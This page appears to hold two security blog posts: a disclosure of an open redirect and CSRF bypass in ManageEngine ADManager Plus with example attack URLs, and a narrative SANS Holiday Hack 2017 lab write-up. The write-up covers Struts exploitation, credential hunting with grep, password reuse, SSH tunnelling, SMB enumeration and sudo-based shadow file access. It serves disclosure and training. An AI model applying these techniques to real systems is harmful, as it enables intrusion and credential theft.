Dangerous URL Redirection and CSRF in Zoho ManageEngine AD Manager Plus (CVE-2017-17552) (Updated)

Vendor: Zoho Corp.
Product: ManageEngine ADManager Plus
CVE ID: CVE-2017-17552
Discoverer: Douglas Weir (dbweir19_a_lavabit_com)
CVSS v3 Score: 6.5
CVSS v3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Versions: Build 6590 – 6613 (earlier builds may also be affected).
Linkhttps://www.manageengine.com/products/ad-manager/
Product Description: The ManageEngine ADManager Plus software is a management and reporting solution for Windows Active Directories.

Summary:

Dangerous URL Redirection and Cross-site Request Forgery

Details:

Vulnerability: Dangerous URL Redirection
Impact: A remote unauthenticated user can use this flaw to masquerade an arbitrary URL as appearing to originate from AD Manager Plus.
Details: The /LoadFrame resource in the AD Manager Plus web application includes a src parameter which is vulnerable to manipulation.  Using the /LoadFrame resource URLs of the kind shown below can be created.

hxxps://ad.manager.plus.domain/LoadFrame?src=hxxps://evil.url.otherdomain&frame_name=foo

When such a URL is clicked, the browser’s address bar shows the expected address, but the content displayed in the browser is that supplied by hxxps://evil.url.otherdomain loaded inside of an IFRAME.  An attacker could leverage this vulnerability to expose their malicious content to end-users while exploiting the trust imparted by a familiar address in the browser’s address bar.

Vulnerability: Cross-site Request Forgery
Impact: A remote attacker can use this flaw to defeat the CSRF protections in AD Manager Plus
Details: The /LoadFrame resource in AD Manager Plus sends a POST request to the URL supplied in the src parameter and instructs the browser to load the response in an IFRAME.  This request includes a POST parameter called adcsrf  whose value is an anti-CSRF token created by the AD Manager Plus application. If the URL provided in the src parameter belongs to the same AD Manager Plus application an adcsrf token will be sent back to the application.  An attacker can use this /LoadFrame resource to defeat the applications anti-CSRF protection.  An example of such an attack might be:

hxxps://ad.manager.plus.domain/LoadFrame?src=hxxps://ad.manager.plus.domain/someFunction.do&frame_name=foo

When an end-user (who is already authenticated to AD Manager Plus) clicks on such a link, the AD Manager Plus application will perform the specified action because it believes the request is genuine since it was accompanied by a valid CSRF token (supplied by the /LoadFrame wrapper)

Remediation

Zoho Corp has provided a patch for AD Manager Plus build 6610 only.  The installation instructions are found below.

NOTE: Please note that this patch is developed for the latest version(Build.No.6610) of ADManager Plus.
 
Kindly upgrade your ADManager Plus from the link given below. 
 
Note 1 : Please ensure that you have a folder backup of ADManager Plus before you proceed  
 
Note 2 : Strictly follow the steps provided in the service pack link to apply the service pack.
 
Follow these steps to apply the patch,
 1. Stop ADManager Plus(Start->Programs->ADManager Plus->Stop ADManager Plus)
If you are running the product as a service, go to “services.msc” -> stop ManageEngine ADManager Plus service.
 
2. Take a backup of the following files :
  • “Security.xml” by renaming it as   “security.xml_bak” which is  located in “<Installation directory>\ManageEngine\ADManager Plus\webapps\adsm\WEB-INF\security”.
  • “Web.xlm” by renaming it as   “Web.xml_bak” which is  located in “<Installation directory>\ManageEngine\ADManager Plus\webapps\adsm\WEB-INF\”.
  • “AdventNetADSMJspClient.jar” by renaming it as “AdventNetADSMJspClient.jar_bak”which is  located in “<Installation directory>\ManageEngine\ADManager Plus\webapps\adsm\WEB-INF\lib”
3. Extract and save following files from the patch downloaded :
  • “Security.xml” to “<Installation directory>\ManageEngine\ADManager Plus\webapps\adsm\WEB-INF\security”.
  • “Web.xml”  to  “<Installation directory>\ManageEngine\ADManager Plus\webapps\adsm\WEB-INF\”.
  • “AdventNetADSMJspClient.jar”  to “<Installation directory>\ManageEngine\ADManager Plus\webapps\adsm\WEB-INF\lib”
4. Start the product and check whether the issue has been resolved.

This effectiveness of this patch has not been tested.

At the time of writing, the current version of AD Manager Plus is build 6613 – there is no patch available for this version or any other version (except for the patch shown above).

[Update 2018/02/14] Zoho Corp has announced that a permanent fix for this vulnerability has been included in ADManager Plus build 6620.

https://www.manageengine.com/products/ad-manager/release-notes.html

Disclosure Timeline

  • 2017/11/01 – Vulnerability discovered.
  • 2017/11/01 – Contacted the vendor regarding this vulnerability.
  • 2017/11/01 – Vendor contacted me to acknowledge notification.
  • 2017/11/15 – Vendor provided me with some investigation feedback.
  • 2017/11/21 – Vendor provided me with some investigation feedback.
  • 2017/11/28 – Vendor provided me with some investigation feedback.
  • 2017/12/11 – Vendor provided a patch for build 6610.
  • 2017/12/11 – Contacted the vendor with follow-up questions.
  • 2017/12/11 – Vendor provided specific details on the timeline for a permanent fix.
  • 2017/12/13 – Contacted the vendor and provided them with reserved CVE ID.
  • 2017/12/18 – The vendor withdrew the timeline for a permanent fix.
  • 2018/02/06 – Published vulnerability in this post.
  • 2018/02/14 – Vendor provided information that this vulnerability is fixed in build 6620 (https://www.manageengine.com/products/ad-manager/release-notes.html).

SANS Holiday Hack Challenge 2017

Introduction

It’s that blasted time of the year again.  Santa and his minions are at it again trying to figure out how they are going to pull off Christmas.  This year’s Christmas calamity is right on schedule.  Some strange inter-dimensional storms are laying waste to the North Pole and Santa’s precious Great Book.  Santa hasn’t asked for my help… yet, but we all know it’s coming… 364 days of the year I’m bullied, belittled, or ignored by Santa, his elves and reindeer, until the day before Christmas when suddenly I’m their best friend.  Things are going to be different this year… I’m getting out of town before the reindeer droppings hit the fan.

Seriously, how many times can one reindeer save Christmas?  Well, let me tell you… this year he’s on his own.  My red nose is totally out of joint, and I won’t be lifting a hoof to help him.

How do you like them candy apples fat man?

The Last Day of Work before Christmas

So I don’t know if I mentioned it yet, but pulling Santa’s sled one day a year isn’t exactly a career with much growth potential.  As a result, a few years ago I started taking night classes in UNIX systems administration and computer security.  Let’s face it, at some point I do want to retire and not live in a cardboard box.  When I had figured I had taken enough courses, I applied for a job at the only other major employer in the area, Amazon’s AWS North Pole data center where the np-north-1 availability zone can be found.  It’s a pretty cool job, but I quickly discovered that many of the other elves and reindeer had the same idea and they all work in the same department as me.

The Winconceivable Cliffs of Winsanity

It’s about lunch time on the last day of work before the Christmas break.  As you might expect not much is getting done today, everybody’s mind is filled with sugar plum fairies.  I get up from my desk and head over to the break room to get a cup of coffee – hoping to avoid everybody because… well… I don’t want to get roped into helping Santa out this year.

Damn.

In front of the coffeemaker is Sparkle Redberry and a horde of elves all talking loudly about Linux problems.  A tall blonde woman seated in the corner is watching the argument with a smile on her face while she stirs her coffee.

“No, you need to reboot it!” one of the elves says.

“You nitwit, are you serious?! this isn’t Windows!  You need to upgrade bash” another one responds.  “… or just create a new user and delete the broken one.”  It goes on and on like this for 5 minutes before I push my way through to the coffeemaker.   Sparkle turns to me and says “Randolph, what do you think?”.  Dang, I was really hoping to grab a cup of coffee and get out of here before anybody noticed me.

In the most uninterested voice I can muster I ask “Hmm?… what’s the problem?”  Sparkle explained that there was a process running on her server that she could terminate and she suspected that it was unkillable.

Screen Shot 2017-12-16 at 10.16.53 AM.png

Before I could stop myself I replied “Unkillable? Is that even a word?” and the circle of elves descended into a heated argument on this new topic.  Sparkle showed me her laptop and I took a look – you know me… if I was a cat, curiosity would have killed my 9 lives years ago.

Screen Shot 2017-12-16 at 10.52.23 AM.png

Wow.  Maybe it was unkillable… gah… I mean not killable!  At that moment somebody started talking about some tweets Sparkle made this morning.  Her tweets mentioned that she suspected that maybe somebody had made some malicious aliases that were causing her problems.  Aliases you say…

Screen Shot 2017-12-16 at 11.02.10 AM.png

“unalias?!” she said with incredulity “… that’s all I had to do?”

I chuckled as politely as I could and replied “Yup – that’s it.”  She harrumphed and turned away disgusted with the simplicity of the solution.  How was this my fault?  It was clear I was no longer welcome, and as I walked away I could hear the elves having a fever-pitched debate about whether unalias was real word or not.  Simpletons.

Winter Wonder Landing

On my way back to my desk I was walking by the North Pole data center when Bushy Evergreen comes racing out with a wild look in his eyes.  “Randolph, thank goodness!” he says.  “I was working on the ElfTalk server and something horrible has happened!  The elftalk daemon has died and I can’t seem to find it to restart it!  Can you help ?  Pleeeease!” If it’s one thing I hate more than a bullying elf, it’s a needy elf.  Again with the Randolph? Huh – that’s the second time somebody called me that…. “fine…” I say “…just stop tugging on my collar.”

Screen Shot 2017-12-15 at 2.35.57 PM.png

Ugh.  I always knew that Bushy Evergreen was a lousy system administrator.  Seriously, how hard is it find a process, and execute it.  Pfft.

Screen Shot 2017-12-15 at 2.48.52 PM.png

Ok.  Perhaps I was a little too hasty… I see the problem he ran into now.  But alas, you know the old polar bear saying “there is more than one way to skin an elf”.  Bushy seems to have forgotten his core Linux skills.  ls and grep are two, of the handful, of Linux commands that every system administrator should be known intimately.  All Bushy needed was a dash of recursive file listing (ls -R /), a pinch of grep with “look-back” (grep -B 1) and of course a smattering of pipe.  These are the ingredients of hard-core troubleshooters and hackers.

Untitled 2

Nothing to it.  I take back my retraction about being too hasty.  It was a simple fix.  So I fixed Bushy’s elftalk server.  Bushy races off back in the direction of the NOC and almost knocks over a blonde woman walking down the hallway ahead of him.  Over the ringing of those stupid little bell shoes I hear him shouting “Disregard the elftalk outage guys! I just had to take care of little urgent maintenance!”.  Such a little liar.  The jokes on him though… the next time this system restarts he’ll probably be back in the same situation.  Serves him right.

You think doing all these good deeds would buy me some respect, but these elves seem incapable of saying “thank you” – typical.

Cryokinetic Magic

I made it the rest of the way back to my desktop unmolested by unthankful elves only to find that my coffee was now stone cold.  If there’s one thing this reindeer runs on, it’s hot coffee.  I really didn’t feel like going back to the breakroom to warm up my coffee – those elves are probably still debating whether unalias is a word.  The office was really starting to clear out, so I didn’t feel like sticking around much longer.  I’ll just pour out my coffee somewhere.  Since there were no potted plants to receive my cold coffee, I decided to head over to the washroom and pour my coffee out into the sink.

As I rounded a the last corner before the washrooms, I just saw the back of another tall blonde woman heading into the ladies washroom.  My brain was still trying to process this when I literally bumped into Holly Evergreen as she came around the corner from the opposite direction with her nose buried in her tablet.   Coffee cup, tablet, elf and reindeer all ended up on the floor.  “Why don’t you watch where you’re going you big oaf!” she roared.  “Hold on, you ran into me!” I protested.  We squabbled for a few minutes about who’s fault this accident was and then I saw the screen of her tablet and realized why it distracted her so much.

Screen Shot 2017-12-16 at 2.15.02 PM.png

The production line of the Amazon Prime™ candy cane striping system was stopped, and no striped candy canes were being produced.   “I couldn’t help notice that the candy cane striping production line is down… what happened?”  Me and my big mouth.  I don’t even know why I asked… I didn’t even want to know.  My job is not fix ICS systems.  Before I could say anything else she had explained the whole problem.  Something or somebody removed execute privileges on the command on the ICS server that controlled the candy cane striping production line.

Her eyes widened and she looked up at me with the most helpless look on her face.  “Hey, you took all those UNIX courses, can you help me fix it?”

I’ve said it before… and I’ll say it again.  Me and my big mouth.  “Sure…” I say dejected.

Screen Shot 2017-12-16 at 2.20.49 PM.png

Yeah – it is properly messed up.  The chmod command doesn’t produce any errors, but it doesn’t seem to do anything either.  I wonder if it’s another case of malicious aliases… Nope 😦

But then it dawned on me.  There was that time on the SantaGram development server when I accidentally removed the execute bits on the chmod command itself.  I either had to find a way to fix it, or restore the chmod file from backup – and our backup team is full of the most curmudgeonly BOFHs the world has ever seen.  I had to fix it.  I hated asking favours from those jerks.   But how did I fix that problem… I stroked my reindeer goatee and the it struck me… the loader!  I was able to bypass the permissions by passing the program directly to the loader.  I wonder if that’d work here.

First I’ll need to figure out if this ICS system is running a 32- or 64-bit kernel, because that’ll tell me where to find the appropriate loader.  Then I just need to pass the full path of the CandyStriper program to the loader and it should run.

Just as I was about to tap ENTER to run the command, Santa rounded the corner and saw the broken coffee mug, the puddle of coffee and the two of us on the floor huddled around her tablet.  She snatched the tablet back from me, and with great pomp and ceremony tapped the ENTER key and loudly (enough for Santa to hear) “… and that… my dear Randolph is how you get the striping line back in business.   Oooh hello Santa, I didn’t see you there.  I was just telling this reindeer how we keep the candy cane striping line running…”

Screen Shot 2017-12-16 at 1.15.30 PM.png

She lowered her head, and her eyes narrowed to slits – she looked like a serpent ready to strike.  Taken off guard by her transformation, I stammered “Oh.. uh…” and to my relief Santa helped her off the floor and started talking to her about settling an argument he and Minty Candycanes were having about browser popularity.

I quietly gathered the pieces of my coffee mug and tiptoed away.  That was too close.

There’s Snow Place Like Home

I’ve got to get out of here.  Every Christmas these elves just start losing their marbles.  On my way back to my desk I walked by the employee lounge and found a toy train set set up on the  floor and Pepper Minstix crying in the corner.  Oh for Pete’s sake… now what?!  “<sniff> I broke it… I was only trying to make better, but now it won’t run!” she said.  “What do you mean, make it better?” I asked.  Pepper explained that she had discovered an unprotected console port on the train (another slow clap for the security of IoT devices) and she was just trying to update the firmware when Blitzen walked in and tripped over the train set causing her to run some unintentional commands on the console.  Ever since that the train wouldn’t start.

I just want to get out of here, and with her sobbing into my mane, I figure the fastest way out of here is to fix her problems.  “Fine, let me take a look”….

Screen Shot 2017-12-15 at 3.17.05 PM.png

Seems pretty straightforward… all those elf tears must have her not thinking clearly.

Screen Shot 2017-12-15 at 4.02.43 PM.png

Whaaa?  Something is seriously wrong.  These kinds of errors tend to indicate that the executable may be damaged or corrupted.  Wow.  I should have left this problem alone, I could be here all night.  I better take a quick look using the file command.

Screen Shot 2017-12-15 at 4.40.29 PM.png

Hmm – the executable seems to be intended to run on an ARM-based system.  I better check the kernel that this train is running using the uname -m.

Screen Shot 2017-12-15 at 4.42.56 PM.png

I tried to explain to Pepper “You’re trying to run an ARM executable on x86_64 kernel – of course it won’t work!” “Wh-whaaat?” she replied.  “Let’s see if there is an ARM emulator you can use to run this executable… ah hah! There we go…”

Screen Shot 2017-12-15 at 4.01.49 PM.png

“You fixed it Randolph!  But how ?” I could spend the next 10 minutes explaining this to Pepper, but I didn’t want to spend any more in this crazy place so I just told her the command that I used and left.

Screen Shot 2017-12-15 at 4.50.08 PM.png

Once more… not even so much as a… wait, am I hearing things… did she say Randolph too?  Bah humbug.  I left the break room and headed back to my desk… again.  As I left the lounge there was a tall cup of coffee steaming on one of the tables, there was a  smudge of red lipstick on the edge of the cup.  Beside the cup was a single blonde hair glinting under the fluorescent lights of the room.  Huh – I wonder who left their coffee here…

Bumbles Bounce

Oh thank goodness – I made it back to my desk without seeing a single elf or reindeer.  I quickly grab my coat, hat, and reindeer booties.  But as I struggle to put on the last bootie, Minty Candycane walks by my cubicle muttering absentmindedly to himself.  I freeze.  Maybe if I stay perfectly still he’ll walk right by and not see me.

“…he’s such a stubborn oaf!”

I think to myself, I know who he’s talking about – Santa.  My automatic reaction was to let out a derisive snigger.  Minty stops dead in his tracks and turns and faces my cubicle.  He lowers his eyes and asked “Was something I said funny?” Dang – I quickly try to invent a plausible explanation for laughing and fail horribly.  “Oh… sorry Minty, no… I was just putting on my boots and I… uh… thought of a… funny joke that… uh.. Donner told me this morning.”

“Donner’s been out of the office all week getting some antler physiotherapy.” His eyes narrowed.

“Ok ok… yes, I was chuckling at you calling Santa an oaf.  I heard Minty and Santa talking about an argument that you and Santa were having about browser popularity.”  Minty grunted.  “He is an oaf – he was trying to tell me that the least popular browser was Mozzarella 5.0! That’s not even a real browser for Pete’s sake!”  I had to stifle another snigger, but he was right.

My curiosity was piqued.  I asked “What is the least popular browser to hit our webservers?”  Just as he was about to answer his cellphone rings, and it’s Santa.  He immediately gets into a heated argument with Santa and motions for me to login and check for myself.  So I do.

Screen Shot 2017-12-16 at 3.57.31 PM.png

I’m a pretty clever reindeer, who’s been around webserver log files too many times to count.  So I start chaining some command-line commands together, and soon I have my answer.

Screen Shot 2017-12-16 at 3.57.59 PM.png

All these killer elite UNIX skills, but still no girlfriend…  such a shame.  Anyways, Minty is still arguing with Santa on his cellphone and is so distracted with his conversation he starts absentmindedly walking away.  I stand up and start to follow him to tell him what the least popular browser is, but then it dawns on me… What am I doing?! I’m trying to get out of here.  I go back to my cubicle and finish putting on my boots.  As my last boot is pulled my office phone starts to ring – I instinctively answer it before my better judgement kicks in.

“Hello?”

A melodious woman’s voice tentatively responds “Oh… so sorry… I must have the wrong number.  Happy Holidays.” and rings off.

I snigger.  “Happy Holidays?!  Who says that in the North Pole?” and without another thought, I replace the telephone in it’s cradle and stand up.

I Don’t Think We’re In Kansas Anymore

I shove my laptop into my bag and hoist it onto my shoulders.  This place is almost completely deserted, all the moonlighting elves must be headed back to Santa’s sweatshop to prepare for the Christmas rush – which is fine by me.  Down the stairs, out through the lobby and… I’m out.  The cold air is crisp and refreshing after being stuck in the office all week.  My condo is only a few blocks away so I decide to walk home this afternoon – it’s not particularly cold today.  I don’t get more than 100 meters off the property when my cellphone starts ringing… it’s Mary.   Oh no… it’s my week to be on pager duty, in all the chaos it had totally slipped my mind.

“Hi Mary, what’s up?”

There are lot of voices and loud noises on the other end of the phone, but I hear “Hi, uh.  Is this Randolph?”

Squeezing the phone to my ear I say, “Yes Mary, it’s me – RUDOLPH.  What’s up?”

It sounds like there must be dozens of angry people around her.  “I’m sorry I don’t know who won the Reindeer Cup..  Listen Randolph, there’s something wrong with the database in the Christmas jukebox.  It’s… <inaudible> yes… I’m on the phone with IT right now… <inaudible> hello? Randolph? can you hear me?”

Mary must be in the auditorium setting up the corporate Christmas party.  I heave a heavy sigh.  “Yes Mary, I can hear you – what’s wrong with the jukebox?”

“No, it’s the JUKEbox.  It should be playing the most popular song.  But it only plays Stairway to Heaven, over and over again. Can you fix it ?”

“Ugh…fine…”

No, no… I can’t wait until nine, it needs to be fixed now.” 

Speaking loudly and slowly I say “O…K…” and ring off.  Looking around there are a few park benches in the vicinity.  Two of the benches are empty, in the distance I can see a blonde woman is sitting on the third bench watching a bunch of elves skating on an ice rink.  I sit down at an empty park bench nearby, unzip my bag and pull out my laptop.  I hope I have enough battery power for this job.  A few minutes later, my laptop is powered up and connected to the VPN…

Screen Shot 2017-12-16 at 8.35.29 PM.png

Looks like the jukebox uses a SQLite database to store it’s information.  Better find out what’s inside and see about cobbling together a SQL statement to identify the most popular song on the jukebox.

Screen Shot 2017-12-16 at 9.24.08 PM.png

I pick up the phone and call Mary back.  It rings a few times and the din of the Christmas Party music assaults my ear through the phone, but no greeting. “Hello? Mary?” I ask.

“Hello? No, Gary’s not here.  This is Mary… Mary Sugarplum.”

“Hi Mary,  I took a look at the jukebox.  Stairway to Heaven IS the most popular song.  The jukebox isn’t broken.”

“I’m sorry… what? No, I’ve never been to Hoboken.  Listen – did you fix the jukebox?”

I don’t think she can hear me over the castrophany [1] of noise behind her.

“It’s NOT broken!” I yell into the phone.

“No, of course it’s not smokin’ <inaudible> It’s Randolph from IT again… he asked me if the Jukebox was smoking… I know… I think may have dipped into the eggnog already… <some indistinct laughter>”

I can make out that Stairway to Heaven is starting on the jukebox in the background.   “Hello? Are you still there? Forget it Randolph, I’ve gotta go.  My favourite song just started on the jukebox again.  Listen – I’ll call the DBA team tomorrow to sort this out.”

Before I can say another word, the call ended with an unceremonious click and I was left there staring at my phone.

Randolph?! I think she might be the one who’s had too much eggnog.

I pack my stuff back up and continue heading home.

Oh Wait! Maybe We Are…

Finally – home sweet home.  Walking up the icy steps to my condo, my eyes are scouring the steps for icy patches.  With my head down I struggled to climb the stairs – I noticed several peoples boots heading down the stairs – but one woman coming down the stairs by had the most distractingly exquisite boots.  Most boots at this time of year are crusted in ice and snow, but these boots were immaculately clean, encrusted in most incredible red jewels that sparkled almost magically.  It only took a moment of inattention before it happened.  My hooves slipped on the icy steps and the next thing I remember is staring at the sky with a bump on my head and a twisted antler.

For a short day of work, it sure felt exhausting.  I shook off my boots and coat and started think about what I’m going to do with all this free time since I won’t be helping Santa this year.  A mischievous smile creeps across my face – nothing spreads holiday cheer like a marathon session of fragging some noobs on Squall of Duty: Ghosts of Christmas Past.

I’ll need to do prepare for this gaming session..

  • Pizza ordered? check.
  • Cold beer in the fridge? check.
  • Phone off the hook? check.
  • Controllers charged? check.

Just as I powered on my TV and IceStation™ 4, my cellphone made a boink sound indicating that somebody had sent me a Slush message.  I look at my phone and Shinny Upatree was using the #xmas_ops Slush channel:

 

slack.png

Man, being on-call this holiday season is going to suck.

Screen Shot 2017-12-17 at 11.18.52 AM.png

Man, the elf account doesn’t have permissions to the shadow file!  How am I supposed to fix this problem with this account?! That jerk Shinny just saddled me with a job that’s almost impossible.  I wonder what elevated permissions this account does have.  Oooh… maybe this won’t be so bad after all.  According to sudo, the elf account has elevated permissions to the find command with group membership to the shadow group.

Screen Shot 2017-12-17 at 11.40.56 AM.png

I Slushed Shinny to tell him that everything was fixed, and the jerk just ignored me! I bet he went to the Christmas Party with the rest of those miserable elves.  Pfft – whatever.  It’s fraggin’ time.

We’re Off To See The…

8 hours later, having slaked my thirst for fragging noobs.  I peel myself off the sofa, rub my eyes and head to the washroom for a bio break.  As I walk by the kitchen I see the light blinking on my cellphone.  “Dang… all the explosions from Squall of Duty must have drown out the notification!  I hope I didn’t miss something important.” I have 1 unheard voicemail and it’s from Wunorse Openslae from the dev team.

“Whaaaasaaaaap up Randy! <hiccup> <muffled> Shut up man… I’m telling him! <inaudible> Randy! I’ve got a hundred bucks that says you can solve THIS problem <giggling> I know, I know… he’ll never get it.  Shh shh!  <inaudible> Randy?  Ok… I need to you to solve this problem… if you can.. <obnoxious laughter>”

Clearly this isn’t work related.  Ever since I told that jerk Wunorse that he couldn’t code his way out of a wet paper bag, he’s made it his personal mission to try and humiliate me as often as possible.  Well, this reindeer has been taking night classes… Narrowing my eyes, I mutter to myself “Bring it on pointy-ears.”

Screen Shot 2017-12-18 at 9.38.19 AM.png

Wunorse has a pre-compiled executable that generates a random number.  His challenge involves making the same executable always return the same number… 42.

It looks like I need to hijack the getrand() function if we have any hope of getting this isit42 executable to consistently return 42.  Lucky for me, the topic of last nights C programming class was overriding functions by pre-loading shared objects with the LD_PRELOAD environment variable.

Screen Shot 2017-12-18 at 9.31.47 AM.png

What a great Christmas this is turning out to be.  No rushing around saving Santa’s bacon at the last minute, and now winning 100 bucks from that jerk Wunorse! I could get used to this!

I was feeling pretty good about myself.  The night was almost over, and this was the first Christmas I’d not spent dashing around the globe.  As I stood there basking in my cromulent [1] self-satisfaction the door to my condo exploded inward.

Amid the smoke and splintered wood, four of the burliest elves I’ve ever seen rushed into my condo dressed in tactical armour and riot helmets.  The bells on the toes of their tactical elf boots jingled with every step.  It only took a matter of seconds – somebody threw a black sack over my head, while another elf jabbed a tazer into my ribs.

Like a flash photograph, a moment of time was frozen on my retina as the hood came over my head.  Beyond the splintered door… was there a woman with blonde hair standing in the hallway?

Before I could finish the thought – everything went black.


Interrogation Questions from Santa (Question 1)

When the light came back and I found that I was chained to a steel table in an otherwise empty room.  There was a large mirror on the wall opposite me, years of watching CSI: Iqaluit has told me it must be one of those one-way mirrors.  This was an interrogation chamber.

The door on the adjacent wall burst open and Santa came in wearing blue jeans and a singlet.  I don’t think I’d ever seen him wearing causal clothes.  It was weird.  “What’s going on Santa? Why I am here?” I stammered.

“Quiet Randolph – I’m not here to answer questions.  I’m the guy who asks the questions!”

Whatever was going on, it was bad – and I was somehow involved… wait – Randolph?

Santa leaned over the table, looked me straight in the eyes and asked… What is the title of The Great Book page from the Winter Wonder Landing?”  I screwed up my face trying to figure out why he was asking me this. Still staring at me he said “Do I need to repeat the question?”.  It took me a while, but got collected my thoughts and answered.  “Santa, are you talking about the page that I found stuck to that big snowball in Winter Wonder Landing?”

“Yes – what was it called?”

“Uh… About This Book, I think.” [3]

Santa growled, stroked his beard and asked “… and you’ve never seen any page from that book before the day you found that page?”

“No… never.”

“Did you read the page?”

“I couldn’t help but read the title, but I didn’t read the rest of it… no…   Santa… What’s this all about?”

Santa examined me silently for what seemed like hours, then he spoke. “Listen Randolph, somebody is trying to sabotage Christmas this year.”   Santa continued.  “I can’t trust ANYONE right now… I had to be sure you weren’t part of this conspiracy.”

Suddenly it dawned on me – my plans to avoid helping Santa this year we in serious jeopardy… I’m chained to an interrogation table with Santa clearly about to ask me for help.  This isn’t going to end well for me.  “Randolph – I need your help.”

My shoulders sagged.

I lowered my head and sighed.  “My name is RUdolph.”  Santa mumbled something, but I continued speaking “… but how can I help?” I asked in a defeated monotone.


Letters to Santa (Questions 2-4)

Santa unchained me and told me about the conspiracy.  He told me that it was a two-pronged conspiracy – the huge snow balls from the inter-dimensional storm were only part of the problem – there was also an APT believed to be well-intrenched on the North Pole network.

Santa walked me from the interrogation room while I rubbed my wrists.  He lead me down a hall to a small office with no windows.  The only things in the office was a desk, a chair, a laptop and what I could only assume was another one-way mirror on the wall opposite the door.  “I need your help rooting out this APT threat.  Those SANS courses and Burp Pro licenses I let you expense this year were all working toward a common purpose… Rudolph, I’ve been secretly grooming you to be my IR Analyst.”

Whoa.  I recoiled when I heard this.  I never knew Santa could be so clandestinely strategic.  This sure beats pulling a sled.  “You can count on me – I’ll sort this out for you.”

Santa stood in the door way of the small office and said “Time is against us Rudolph… good luck”.  He reached into his pocket, and produced a sheet of paper.  He handed me the paper then closed the door – and locked it from the outside.

Staring a the door handle I couldn’t help think that locking me in was weird.

I better get started.  The piece of paper had a number of questions that Santa had – it also had some hunches about where he felt I should focus my attention.  I sat down in front of the laptop and saw there was a browser open to Santa’s new Letters to Santa site.

Screen Shot 2017-12-15 at 9.46.19 AM.png

Wow – Santa seems to have upped his game this year.  This form is actually pretty sweet.  I wonder if he got that same lame-brain elf Alabaster Snowball to do his web application programming this year.  I’ve seen Alabaster’s previous work – it’s pretty bad.  He’s half as good of a programmer than he thinks he is, and most people think he’s twice as much credit than he deserves.  Anyways let’s take a look at the source under the hood.

Screen Shot 2017-12-18 at 1.36.54 PM.png

Well, well, well… Alabaster did author this application.  Interesting.  There is a comment indicating “Development version” – with a URL below it… this outta be good.

Screen Shot 2017-12-18 at 1.38.21 PM.png

A development version running in production?  Looks like this rabbit hole just keeps getting deeper.  I think I’ll take a quick detour over to the development server… chances are if any hackers found this comment, they would also take the path of least resistance too.

Screen Shot 2017-12-18 at 1.54.32 PM.png

Looks like the two systems may actually be the same system – with any luck if I can exploit one, I’ll also get access to the other.  Taking a look at the dev server I see:

Screen Shot 2017-12-18 at 1.58.03 PM.png

Uh oh.   Alabaster + Apache Struts = bad news.  Alabaster had such tunnel-vision about that Struts vulnerability, he never even acknowledged the fact that there was more than one vulnerability involved in that breach.  I’d wager that that cowboy never patched this system against CVE-2017-9805.

Screen Shot 2017-12-18 at 2.57.25 PM.png

Screen Shot 2017-12-18 at 2.50.31 PM.png

Nope.  The development server is still vulnerable to the Struts2 vulnerabilities.  Looking at the sheet of paper Santa gave, he suspected that a Great Book page would be found on this server.  He asked me what the topic was of the Great Book page found in the root of the webserver on l2s.northpolechristmastown.com – it looks like GreatBookPage2 is here. [4] The topic of this page is On the topic of Flying Animals.

One of the other things on this list Santa gave me is to keep an eye out for any developers (like this lame-brain Alabaster Snowball)  who may have left hardcoded credentials in any files.  Well, since there only appears to be one name referenced in the source code, I might as well start looking for Alabaster Snowballs credentials in any files.  I’ll use my beachhead established by the Apache Struts vulnerability to search root folders one, by one (webserver’s have a nasty habit of timing out if they take too long to service a request).  I’ll start my search with the /opt folder since that’s where Tomcat is installed.

The command that I struck pay-dirt on was:

find /opt -type f | xargs grep -i alabaster_snowball -B1 -E1

Screen Shot 2017-12-18 at 9.00.02 PM.png

Well… According to the OrderMySql.class file, it looks like Alabaster Snowball’s password is “stream_unhappy_buy_loss”.  I knew he was a cowboy.

Delighted with the fact that I have undeniable proof that Alabaster Snowball is a terrible developer, I sat there wondering… what next ?  I mean, how bad can it get?  I already have Alabaster’s password, it’s not like things can get much worse… Can they?

Wait. I have his username and password, I can log into the L2S server as him!  But I pretty much have full access to that system already, so what would be the point?  But if Alabaster uses the same credentials on other systems I can probably reuse these credentials on other systems!  Time to log into the L2S server and see what other servers are nearby.

First I’ll need some basic network info from this L2S system, specifically it’s IP address and netmask – whoa.. a netmask of 255.255.255.255 – that doesn’t seem right, I bet that dope Alabaster also configured the network interface too.  It’s probably supposed to be 255.255.255.0 or /24, so let’s try scanning that subnet for other systems.

Screen Shot 2017-12-18 at 9.33.34 PM.png

Screen Shot 2017-12-18 at 9.34.06 PM.png

Lots of interesting machines…

  • 10.142.0.2
  • 10.142.0.3
  • mail.northpolechristmastown.com (10.142.0.5)
  • edb.northpolechristmastown.com (10.142.0.6)
  • 10.142.0.7
  • 10.142.0.11

One server, 10.142.0.7, caught my eye.  It alone appears to be the only Windows server on the network.  I wonder if Alabaster Snowball’s account has any rights on it.  Time to find out.

Screen Shot 2017-12-18 at 9.54.53 PM.png

Hmm – well that’s not good.  It looks like the L2S/dev server is really sparsely installed with tools.  I’m going to need to get a little creative here.  Maybe some SSH port-forwarding will do the trick.

Screen Shot 2017-12-18 at 9.29.37 PM.png

With that connection created, I’ll just send some SMB enumeration requests via another terminal window.

Screen Shot 2017-12-18 at 9.39.06 PM.png

Very interesting… the Windows SMB server (10.142.0.7) has a file share called “FileStor”.  I’m going to snoop and see what (if any) files might be there.

Screen Shot 2017-12-18 at 9.37.49 PM.png

Another page from the Great Book, and a bunch of documents [5,6,7,8,9,10] with some very interesting titles.  Time for do some reading…

Interesting… one of the documents calls out the names of two known Munchkin Moles:

  • Boq Questrian
    • Known for rock throwing.
  • Bini Aru
    • Known for hair pulling.

What’s this “puuuurzgexgull” business ? Some kind of magical incantation?  Weird.

Those SANS pentesting courses and Burp Pro Licenses I purchased while attending last year’s FrostCon™ conference are coming in handy.  Mental note – I should ask Santa about registering again this year … I hear the badges this year are being designed by 1o57!  Anyways… where was I?  Right…


Elf Web Access (Question 4 and 7)

One of the other documents from the SMB server was a memo from Alabaster Snowball about password reuse.  Oh the irony!  He needs a healthy does of comeuppance.  I wonder what else I can pop using his credentials.  The mail server running Elf Web Access seems like a reasonable target, it’s IP address is 10.142.0.5.  Given that my beachhead on the L2S server has very few tools, I’ll probably need use another SSH tunnel.

Screen Shot 2017-12-19 at 9.33.53 AM.png

Screen Shot 2017-12-19 at 9.34.17 AM.png

Bummer.  SSH’ing into the EWA server using Alabaster’s credentials doesn’t work.  I’ll have to try another approach.  I think I need more information about this host.  I’ll try a dedicated Nmap scan with the -sC option.

Screen Shot 2017-12-19 at 11.19.44 AM.png

